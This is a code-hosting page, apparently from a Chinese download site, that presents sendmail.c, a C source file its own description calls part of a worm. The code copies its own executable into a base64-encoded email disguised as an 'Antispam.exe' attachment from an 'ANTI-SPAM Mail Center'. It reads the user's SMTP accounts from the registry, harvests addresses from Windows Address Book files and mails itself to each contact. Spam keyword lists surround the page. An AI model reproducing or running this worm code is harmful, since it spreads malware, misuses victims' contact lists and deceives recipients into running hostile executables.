亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sendmail.c

?? The worm will duplicate to WINNT catalogue , put worm shelf adult.exe into C: , in zip file under C:
?? C
字號:
#include <windows.h>
#include <windowsx.h>
#include <wininet.h>
//#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <tlhelp32.h>			// Required for ToolHelp32 functions
#include <time.h>
#include <io.h>


#pragma comment(lib,"ws2_32")
#pragma warning(disable:4133)

#define PORTNUM 25	// 0x4747	// Port number  
#define MAX_PENDING_CONNECTS  4		// Maximum length of the queue 

#define CMD_HELLO	"HELO %s\r\n"
#define CMD_FROM	"MAIL FROM: <%s>\r\n"
#define CMD_TO		"RCPT TO: <%s>\r\n"
#define CMD_DATA	"DATA\r\n"
#define CMD_END		"\r\n.\r\n"
#define CMD_QUIT	"QUIT\r\n" 

UINT MailTo(HANDLE hInst, char* szTitle, char* szFile);
unsigned int Base64_Encode(char* data, unsigned int len, char* output);
int SendCmd(SOCKET wSocket, char* szStr, char* data);
int SendData(SOCKET wSocket, char* szMail);
UINT SaveMailBody(char* szAttach, char* szTarget);
long SendMail(char* szFrom, char* szTo, char* szHost, char* szMail);

/** ******************** Base64 encoding ************/

#define MAX_CHAR_PER_LINE 76
#define FILLCHAR '='
static char* cvt = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"\
		"abcdefghijklmnopqrstuvwxyz"\
		"0123456789+/";
/**
 * Encode into Base64.
 *
 * @param data the data to encode
 * @param len the length of the input
 * @param output where to write the output (*output should be NULL,
 *   is allocated)
 * @return the size of the output
 **/
unsigned int Base64_Encode(char* data, unsigned int len, char* output)
{
	unsigned int i;
	char c;
	unsigned int ret;

	/*    (*output)[ret++] = '\r'; \*/
#define CHECKLINE \
  if ( (ret % MAX_CHAR_PER_LINE) == 0) { \
	(output)[ret++] = '\n'; \
  }
	ret = 0;
	//  *output = MALLOC( (((len * 4 / 3) + 8) * (MAX_CHAR_PER_LINE+2))/
	//  				   MAX_CHAR_PER_LINE);
	for (i = 0; i < len; ++i)
	{
		c = (data[i] >> 2) & 0x3f;
		(output)[ret++] = cvt[(int) c];
	CHECKLINE;
		c = (data[i] << 4) & 0x3f;
		if (++i < len)
			c |= (data[i] >> 4) & 0x0f;
		(output)[ret++] = cvt[(int) c];
	CHECKLINE;
		if (i < len)
		{
			c = (data[i] << 2) & 0x3f;
			if (++i < len)
				c |= (data[i] >> 6) & 0x03; 	 
			(output)[ret++] = cvt[(int) c];
	  CHECKLINE;
		}
		else
		{
			++i;
			(output)[ret++] = FILLCHAR;
	  CHECKLINE;
		}    
		if (i < len)
		{
			c = data[i] & 0x3f;
			(output)[ret++] = cvt[(int) c];
	  CHECKLINE;
		}
		else
		{
			(output)[ret++] = FILLCHAR;
	  CHECKLINE;
		}
	}
	(output)[ret++] = FILLCHAR;
	return ret;
}

#pragma comment(lib, "th32")
#pragma comment(lib, "mpr")

void GetIP(char* ip);

//----------------------------------------------------------------------------
void vSetPathName(HINSTANCE hInst, char* PathName, char* FileName)
{
	char* pcFileName;
	int nFileNameLen;

	nFileNameLen = GetModuleFileName(hInst, PathName, 256);
	pcFileName = PathName + nFileNameLen;

	while (pcFileName > PathName)
	{
		if (*pcFileName == '\\' || *pcFileName == ':')
		{
			*(++pcFileName) = '\0';
			break;
		}
		nFileNameLen--;
		pcFileName--;
	}

	if ((nFileNameLen + 13) < 256)
	{
		lstrcat(PathName, FileName);
	}
	else
	{
		lstrcat(PathName, "?");
	}

	return;
}

void vGetModuleName(HINSTANCE hInst, char* PathName, char* FileName)
{
	char* pcFileName;
	int nFileNameLen;

	nFileNameLen = GetModuleFileName(hInst, PathName, 256);
	pcFileName = PathName + nFileNameLen;

	while (pcFileName > PathName)
	{
		if (*pcFileName == '\\' || *pcFileName == ':')
		{
			*pcFileName = '\0';
			break;
		}
		nFileNameLen--;
		pcFileName--;
	}

	strcpy(FileName, pcFileName + 1);
	return;
}

LONG vSetReg(HKEY hKey, char* szSubkey, char* szName, char* szValue)
{
	LONG res;
	HKEY key;
	DWORD dwSize;

	// Set Value	
	if ((res = RegOpenKeyEx(hKey, szSubkey, 0L, KEY_READ | KEY_WRITE, &key)) !=	ERROR_SUCCESS)
	{
		RegCreateKeyEx(hKey, szSubkey, 0L, "", REG_OPTION_NON_VOLATILE,
			KEY_ALL_ACCESS, NULL, &key, &dwSize);
	}
	res = RegSetValueEx(key, szName, 0, REG_SZ, (const unsigned char *)szValue, lstrlen(szValue));

	if (key)
		RegCloseKey(key);
	return(res);
}

LONG vGetReg(HKEY hKey, char* szSubkey, char* szName, char* szValue)
{
	LONG res;
	HKEY key;
	DWORD dwSize = 260, dwType;

	if ((res = RegOpenKeyEx(hKey, szSubkey, 0L, KEY_READ, &key)) ==	ERROR_SUCCESS)
	{
		res = RegQueryValueEx(key, szName, NULL, &dwType, (unsigned char *)szValue, &dwSize);
		RegCloseKey(key);
	}
	return(res);
}

LONG vDelReg(HKEY hKey, char* szSubkey, char* szName, UINT mode)
{
	LONG res;
	HKEY key;
	DWORD dwSize, dwType, dwNam;
	char szNam[260], szVal[260];

	if (mode == 1)
		goto DelVal;

	// Delete Subkey or Value
	wsprintf(szNam, "%s\\%s", szSubkey, szName);	// Check Subkey\*.*
	if ((res = RegOpenKeyEx(hKey, szNam, 0L, KEY_READ | KEY_WRITE, &key)) ==
		ERROR_SUCCESS)
	{
		dwSize = dwNam = 260;
		while ((res = RegEnumValue(key, 0, szNam, &dwNam, NULL, &dwType,
					(unsigned char*) szVal, &dwSize)) ==	ERROR_SUCCESS)
		{
			res = RegDeleteValue(key, szNam);
			dwSize = dwNam = 260;
		}
		RegCloseKey(key);
		wsprintf(szNam, "%s\\%s", szSubkey, szName);	//Check Subkey\*.*
		res = RegDeleteKey(hKey, szNam);
	}
	// Just Value
	else
		DelVal :
	if ((res = RegOpenKeyEx(hKey, szSubkey, 0L, KEY_READ | KEY_WRITE, &key)) ==
		ERROR_SUCCESS)
	{
		res = RegDeleteValue(key, szName);
	}

	if (key)
		RegCloseKey(key);
	return(res);
}

DWORD CalDWord(unsigned char* addr)
{
	DWORD val;
	_asm
	{
		mov edi,addr
		mov eax,dword ptr[edi]
		mov val,eax
	}
	return(val);
}

unsigned int CalWord(unsigned char* addr)
{
	unsigned int int_l,int_h,int_w;
	int_l = *addr;
	int_h = *(addr + 1) * 256;
	int_w = int_l + int_h;
	return(int_w);
}

/*  How to call mailwork
res=MailTo(hInst,"Anti-spam","c:\\antispam.exe")
*/

char MailHead[] =
"From: \"ANTI-SPAM Mail Center\"\r\n"
"Subject: Please check antispam\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: multipart/mixed;\r\n"
"\ttype=\"multipart/alternative\";\r\n"
"\tboundary=\"====_0000111122223333_====\"\r\n"
"X-Priority: 3\r\n"
"X-MSMail-Priority: Normal\r\n"
"X-Unsent: 1\r\n\r\n"
"--====_0000111122223333_====\r\n"
"Content-Type: multipart/alternative;\r\n"
"\tboundary=\"====_3333222211110000_====\"\r\n\r\n"
"--====_3333222211110000_====\r\n"
"Content-Type: text/html;\r\n"
"\tcharset=\"iso-8859-1\"\r\n"
"Content-Transfer-Encoding: quoted-printable\r\n\r\n\r\n"
"<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>\r\n"
"Clean your spam mail by antispam !\r\n"
"</BODY></HTML>\r\n"
"--====_3333222211110000_====--\r\n\r\n"
"--====_0000111122223333_====\r\n"
"Content-Type: application/x-msdownload; name=\"Antispam.exe\"\r\n"
"Content-Transfer-Encoding: base64\r\n"
"Content-Description: Antispam.exe\r\n"
"Content-Disposition: attachment; filename=\"Antispam.exe\"\r\n"
"Content-ID: <EA4DMGBP9p>\r\n\r\n";

char* MailEnd =
{
	"\r\n\r\n--====_0000111122223333_====\r\n\r\n"
};

UINT SaveMailBody(char* szAttach, char* szTarget)
{
	HANDLE hFilea, hFilet;
	DWORD dwRes = 0, dwSize = 0;
	char* lpBufa, * lpBuft;
	int res = 1;
	HGLOBAL hMema, hMemt;

	if ((hFilet = CreateFile((LPCTSTR) szTarget, GENERIC_WRITE,
					FILE_SHARE_READ, NULL, CREATE_ALWAYS,
					FILE_ATTRIBUTE_NORMAL | FILE_FLAG_WRITE_THROUGH,
					(HANDLE) NULL)) == (HANDLE) -1)
	{
		return((UINT) - 1);
	}
	if ((hFilea = CreateFile((LPCTSTR) szAttach, GENERIC_READ,
					FILE_SHARE_READ, NULL, OPEN_EXISTING,
					FILE_ATTRIBUTE_NORMAL, (HANDLE) NULL)) == (HANDLE) -1)
	{
		return((UINT) - 2);
	}
	dwSize = GetFileSize(hFilea, &dwRes);

	hMema = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, dwSize);
	hMemt = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, dwSize * 3 / 2);
	if ((hMema == NULL) || (hMemt == NULL))
		return((UINT) - 3);
	lpBufa = (char *)GlobalLock(hMema);
	lpBuft = (char *)GlobalLock(hMemt);

	//SaveMailHead
	res = WriteFile(hFilet, MailHead, strlen(MailHead), &dwRes, NULL);

	//Base64_Encode
	ReadFile(hFilea, (LPVOID) lpBufa, dwSize, &dwRes, NULL);
	dwRes = Base64_Encode(lpBufa, dwSize, lpBuft);
	res = WriteFile(hFilet, lpBuft, dwRes, &dwSize, NULL);

	//SaveMailEnd
	res = WriteFile(hFilet, MailEnd, strlen(MailEnd), &dwRes, NULL);

	GlobalUnlock(hMema);
	GlobalFree(hMema);
	GlobalUnlock(hMemt);
	GlobalFree(hMemt);
	
	CloseHandle(hFilea);
	CloseHandle(hFilet);

	return(res);
}

long SendMail(char* szFrom, char* szTo, char* szHost, char* szMail)
{
	char szBuf[512];
	struct hostent* ip; 
	long res = 0;
	SOCKET WinSocket = INVALID_SOCKET;	// Window socket
	SOCKADDR_IN local_sin;  			// Local socket address
	int iReturn;
	WSADATA WSAData;

	if (WSAStartup(MAKEWORD(1, 1), &WSAData) != 0)
		return(-1);

	if ((WinSocket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
	{
		res = -2;
		goto exitw;
	}

	local_sin.sin_family = AF_INET;
	local_sin.sin_port = htons(PORTNUM); 
	if (szHost == NULL)
		strcpy(szHost, "localhost");
	if (!(ip = gethostbyname(szHost)))
	{
		res = -3;
		goto exits;
	}
	memcpy((char *) &local_sin.sin_addr.s_addr, (char *) ip->h_addr, ip->h_length);

	if (connect(WinSocket,(const struct sockaddr *) &local_sin, sizeof(local_sin)) == SOCKET_ERROR)
	{
		res = -4;
		goto exits;
	}

	iReturn = recv(WinSocket, szBuf, sizeof(szBuf), 0);
	if ((iReturn == 0) || (iReturn == SOCKET_ERROR))
	{
		res = -5;
		goto exits;
	}
	if (strncmp(szBuf, "220", 3) == 0)
	{
		SendCmd(WinSocket, CMD_HELLO, szFrom);
		SendCmd(WinSocket, CMD_FROM, szFrom);
		SendCmd(WinSocket, CMD_TO, szTo);
		SendCmd(WinSocket, CMD_DATA, NULL);
		wsprintf(szBuf, "From: %s\r\n", "FunnyDog");
		send(WinSocket, szBuf, strlen(szBuf), 0);
		wsprintf(szBuf, "Subject: %s\r\n", "Be Happy with Dog!");
		send(WinSocket, szBuf, strlen(szBuf), 0);
		SendData(WinSocket, szMail);
		SendCmd(WinSocket, CMD_END, NULL);
		SendCmd(WinSocket, CMD_QUIT, NULL);
	}

exits:
	closesocket(WinSocket);
exitw:
	WSACleanup();
	return(res);
}

int SendCmd(SOCKET wSocket, char* szStr, char* data)
{
	int len, res = 1;
	char szBuf[520], szRes[10] = "250";

	if (!stricmp(szStr, CMD_DATA))
		strcpy(szRes, "354");
	wsprintf(szBuf, szStr, data);
	if (send(wSocket, szBuf, strlen(szBuf), 0) == SOCKET_ERROR)
		return SOCKET_ERROR ;
	if ((len = recv(wSocket, szBuf, 520, 0)) == SOCKET_ERROR)
		return SOCKET_ERROR;
	*(szBuf + len) = (unsigned short)0x0000;//'\0';
	if (len < 4 || strncmp(szBuf, szRes, 3) != 0)
		res = -1;
	return (res);
}

int SendData(SOCKET wSocket, char* szMail)
{
	HANDLE hFile;
	DWORD dwRead = 0;
	char* lpBuf[520];
	int res = 1;

	if ((hFile = CreateFile((LPCTSTR) szMail, GENERIC_READ, FILE_SHARE_READ,
	NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE) NULL)) == (HANDLE) -1)
	{
		return(-1);
	}

	do
	{
		ReadFile(hFile, (LPVOID) lpBuf, 512, &dwRead, NULL);
		if (dwRead)
			if (send(wSocket, (const char *) lpBuf, LOWORD(dwRead), 0) ==	SOCKET_ERROR)
			{
				res = SOCKET_ERROR;
				goto exitq;
			}
	}
	while (dwRead);
exitq:
	CloseHandle(hFile);
	return(res);
}

UINT vGetSystem()
{
	DWORD dwVer;
	UINT res, j;

	dwVer = GetVersion();
	j = LOBYTE(LOWORD(dwVer)) * 100 + HIBYTE(LOWORD(dwVer));
	if ((j >= 395) && ((dwVer >> 16) & 0x8000))
	{
		res = 1;
	}		//Win95/98/ME
	if ((j >= 350) && (!((dwVer >> 16) & 0x8000)))
	{
		res = 1000;
	}	  //WinNT/2000/XP

	return(res);
}

UINT WhoGetMail(char* szMail, char* szValue, char* szBuf)
{
#define	ADDRBUFFER		0x10000

	char szTarg[MAX_PATH], szBook[MAX_PATH], szPath[MAX_PATH];
	char* lpBuf;
	
	WIN32_FIND_DATA fileinfo;
	HANDLE hFHandle;
	HGLOBAL hMem;
	HANDLE hFile, hMap;
	DWORD cnt, base1, maxsize, dwRes = 0, b;
	UINT res = 0, i = 0, j = 0, k = 0, uCode = 0;
	unsigned char *ptr;
	char email[128];

	GetWindowsDirectory(szPath, 256);
	if (vGetSystem() == 1)
	{
		strcat(szPath, "\\Application Data\\Microsoft\\Address Book");	//WIN98/ME
		sprintf(szBook, "%s\\*.WAB", szPath);
	}
	else
	{
		strcpy(szPath,"C:\\Documents and Settings\\Administrator\\Application Data\\Microsoft\\Address Book");	
		wsprintf(szTarg, "Software\\Microsoft\\WAB\\WAB4\\Wab File Name");

		j = 1;
		if (vGetReg(HKEY_CURRENT_USER, szTarg, "", szBook) != ERROR_SUCCESS)
		{
			sprintf(szBook, "%s\\*.WAB", szPath);j = 0;
		}
	}

	hMem = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, ADDRBUFFER);
	if (hMem == NULL)
		return((UINT) -3);
	lpBuf = (char *)GlobalLock(hMem);

	if ((hFHandle = FindFirstFile(szBook, &fileinfo)) == INVALID_HANDLE_VALUE)
	{
		res = (UINT) -1;
		goto ex01;
	}

	do
	{
		if (j == 0)
			sprintf(szBook, "%s\\%s", szPath, fileinfo.cFileName);

		hFile = CreateFile(szBook, GENERIC_READ,
					FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
					FILE_ATTRIBUTE_NORMAL, NULL);

		if (hFile == NULL || hFile == INVALID_HANDLE_VALUE)
			return 1;
		maxsize = GetFileSize(hFile, NULL);
		hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
		if (hMap == NULL || hMap == INVALID_HANDLE_VALUE)
		{
			CloseHandle(hFile);
			return 2;
		}
		ptr = (unsigned char *) MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
		if (ptr == NULL)
		{
			CloseHandle(hMap);
			CloseHandle(hFile);
			return 3;
		}
		base1 = *((DWORD *) (ptr + 0x60));
		cnt = *((DWORD *) (ptr + 0x64));
		for (i = 0; i < cnt; i++)
		{
			b = base1 + i * 68;
			memset(email, '\0', sizeof(email));
			for (j = 0; (b < maxsize) && (j < 68); j++, b += 2)
			{
				email[j] = ptr[b];
				if (ptr[b] == 0)
					break;
			}
			if (j > 0)
			res = SendMail(szMail, email, szValue, szBuf);
		}
		UnmapViewOfFile(ptr);
		CloseHandle(hMap);
		CloseHandle(hFile);
	}
	while (FindNextFile(hFHandle, &fileinfo));
	FindClose(hFHandle);

ex01:
	GlobalUnlock(hMem);
	GlobalFree(hMem);

	return(res);
}

typedef unsigned int UINT;
UINT MailWork(HANDLE hInst, char* szEml)
{
	char szValue[256], szPath[256], szMail[256];
	char szTarg[256] =
	{
		0
	};
	UINT res = 0, i;
	for (i = 0; i < 5; i++)
	{
		wsprintf(szPath,
			"Software\\Microsoft\\Internet Account Manager\\Accounts\\%08d", i);

		if (vGetReg(HKEY_CURRENT_USER, szPath, "SMTP Server", szValue) ==
			ERROR_SUCCESS)
		{
			vGetReg(HKEY_CURRENT_USER, szPath, "SMTP Email Address", szMail);
			res = WhoGetMail(szMail, szValue, szEml);
		}
	}

	return(res);
}

UINT MailTo(HANDLE hInst, char* szTitle, char* szFile)
{
	char szMail[260], szDir[260];
	UINT res = 0;
	GetWindowsDirectory(szDir, 256);
	sprintf(szMail, "%s\\temp\\%s.eml", szDir, szTitle);	
	SaveMailBody(szFile, szMail);
	res = MailWork(hInst, szMail);
	return res;
}

void spread_use_mail(HINSTANCE hInstance)
{
	char current_file[MAX_PATH];
	GetModuleFileName(NULL,current_file,MAX_PATH);
	MailTo(hInstance,"Home work for U!",current_file);
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产 日韩 欧美大片| 欧美电视剧免费观看| 欧美日韩亚洲综合一区二区三区| 日韩精品一区国产麻豆| 亚洲欧美日韩电影| 久久99精品国产.久久久久久| 不卡一区二区三区四区| 精品欧美一区二区在线观看| 亚洲综合激情网| av一本久道久久综合久久鬼色| 日韩欧美在线网站| 亚洲国产精品影院| 99视频超级精品| 国产日韩欧美综合在线| 丁香激情综合国产| 欧美一区二区在线免费观看| 一级日本不卡的影视| 不卡的av网站| 国产精品久久久久久久久搜平片 | 日韩精品综合一本久道在线视频| 亚洲激情一二三区| 99在线精品免费| 国产欧美视频在线观看| 国产一区二区电影| 欧美v日韩v国产v| 久久99蜜桃精品| 日韩欧美精品在线视频| 日本女优在线视频一区二区| 欧美亚洲愉拍一区二区| 亚洲一区二区黄色| 在线日韩国产精品| 亚洲成人av资源| 欧美午夜不卡视频| 午夜成人免费视频| 69av一区二区三区| 捆绑变态av一区二区三区| 日韩视频中午一区| 精油按摩中文字幕久久| 久久精品一区二区三区不卡| 懂色av一区二区夜夜嗨| 亚洲国产精品精华液2区45| 国产成人精品免费| 亚洲欧洲日韩女同| 91色九色蝌蚪| 午夜激情综合网| 欧美本精品男人aⅴ天堂| 国产一区亚洲一区| 亚洲欧洲日韩在线| 欧美日韩国产a| 久久综合综合久久综合| 国产午夜精品一区二区三区四区| 欧美偷拍一区二区| 日韩黄色小视频| 久久这里只有精品首页| av高清久久久| 午夜精品福利在线| 久久久久国产精品厨房| 色婷婷综合久久久中文一区二区| 亚洲一二三四区不卡| 欧美一区二区三区免费在线看| 久久精品国产77777蜜臀| 中文无字幕一区二区三区 | 精品亚洲国产成人av制服丝袜| 精品久久99ma| 99综合电影在线视频| 爽好多水快深点欧美视频| 久久久精品免费观看| 欧美亚洲国产怡红院影院| 久久精品国产一区二区三| 欧美国产日韩a欧美在线观看| 欧美三级乱人伦电影| 国产成人精品免费视频网站| 亚洲6080在线| 中文字幕亚洲区| 日韩午夜精品视频| 色婷婷国产精品| 国产乱子伦一区二区三区国色天香| 亚洲人午夜精品天堂一二香蕉| 欧美一区二区三区精品| 97se狠狠狠综合亚洲狠狠| 狠狠色丁香久久婷婷综| 亚洲国产一区二区a毛片| 国产精品乱人伦中文| 日韩免费高清av| 欧美日韩午夜在线| 99久久国产综合精品女不卡| 极品美女销魂一区二区三区| 一区二区三区产品免费精品久久75| 2020日本不卡一区二区视频| 欧美日韩在线综合| 91在线观看污| 国产aⅴ综合色| 九九精品视频在线看| 天天亚洲美女在线视频| 亚洲欧美成aⅴ人在线观看 | 粗大黑人巨茎大战欧美成人| 免费观看在线色综合| 亚洲一区二区在线免费看| 一色桃子久久精品亚洲| 久久精品一区二区三区不卡牛牛| 91精品在线免费观看| 欧美日韩国产大片| 欧美视频精品在线| 欧美色涩在线第一页| 91在线观看一区二区| 99精品国产一区二区三区不卡| 国产福利一区二区三区视频在线 | 国产在线播精品第三| 七七婷婷婷婷精品国产| 亚洲成av人片在线| 亚洲国产成人精品视频| 一区二区三区日韩欧美精品| 亚洲欧美日本在线| 亚洲黄色小视频| 伊人一区二区三区| 一区二区免费在线播放| 亚洲一区二区三区四区在线观看| 亚洲啪啪综合av一区二区三区| 亚洲日本中文字幕区| 一区二区三区在线观看国产| 一区二区三区在线观看动漫| 亚洲国产综合人成综合网站| 亚洲观看高清完整版在线观看| 一区二区三区欧美日韩| 亚洲一二三区在线观看| 亚洲国产wwwccc36天堂| 免费观看久久久4p| 国产成人免费视频一区| 91浏览器入口在线观看| 欧美亚洲高清一区二区三区不卡| 欧美日韩国产一二三| 欧美mv日韩mv亚洲| 欧美国产精品劲爆| 亚洲乱码日产精品bd| 婷婷六月综合网| 久久99精品国产| eeuss国产一区二区三区| 91国模大尺度私拍在线视频| 欧美久久久一区| 久久综合色综合88| 国产精品国产三级国产| 婷婷中文字幕综合| 国产成人综合在线观看| 一本一本久久a久久精品综合麻豆 一本一道波多野结衣一区二区 | 午夜精品久久久久久久| 久久99精品国产| 色综合天天综合网国产成人综合天| 欧美亚洲免费在线一区| 久久影院电视剧免费观看| 亚洲视频1区2区| 麻豆久久久久久| 91在线观看地址| 日韩欧美一级在线播放| 日韩一区中文字幕| 蜜桃视频在线观看一区二区| 99vv1com这只有精品| 日韩午夜在线影院| 一区二区三区欧美亚洲| 国产一区在线观看麻豆| 欧美日本在线播放| 亚洲国产成人在线| 日韩成人精品在线| 91丨porny丨国产入口| 日韩精品综合一本久道在线视频| 亚洲美腿欧美偷拍| 经典三级视频一区| 欧美日韩免费电影| 中文字幕日韩av资源站| 久久99久久99| 欧美视频你懂的| 亚洲色图欧洲色图| 国产精品自在在线| 日韩欧美一卡二卡| 亚洲成人av免费| 色哟哟一区二区在线观看| 国产亚洲va综合人人澡精品| 国产在线视频精品一区| 欧美日韩一区二区三区在线看 | 国产毛片精品视频| 欧美精品色综合| 亚洲视频每日更新| 国产不卡视频一区| 精品久久久三级丝袜| 免费日韩伦理电影| 欧美日韩高清一区二区不卡 | 在线观看一区日韩| 国产精品国模大尺度视频| 国产一区在线精品| 精品少妇一区二区三区在线视频| 偷拍一区二区三区四区| 欧美系列亚洲系列| 亚洲一二三区在线观看| 色婷婷亚洲一区二区三区| 亚洲欧洲99久久| 99精品久久99久久久久| 1区2区3区精品视频| 91在线看国产| 亚洲综合成人在线视频| 色婷婷综合久久久中文字幕| 亚洲最新在线观看|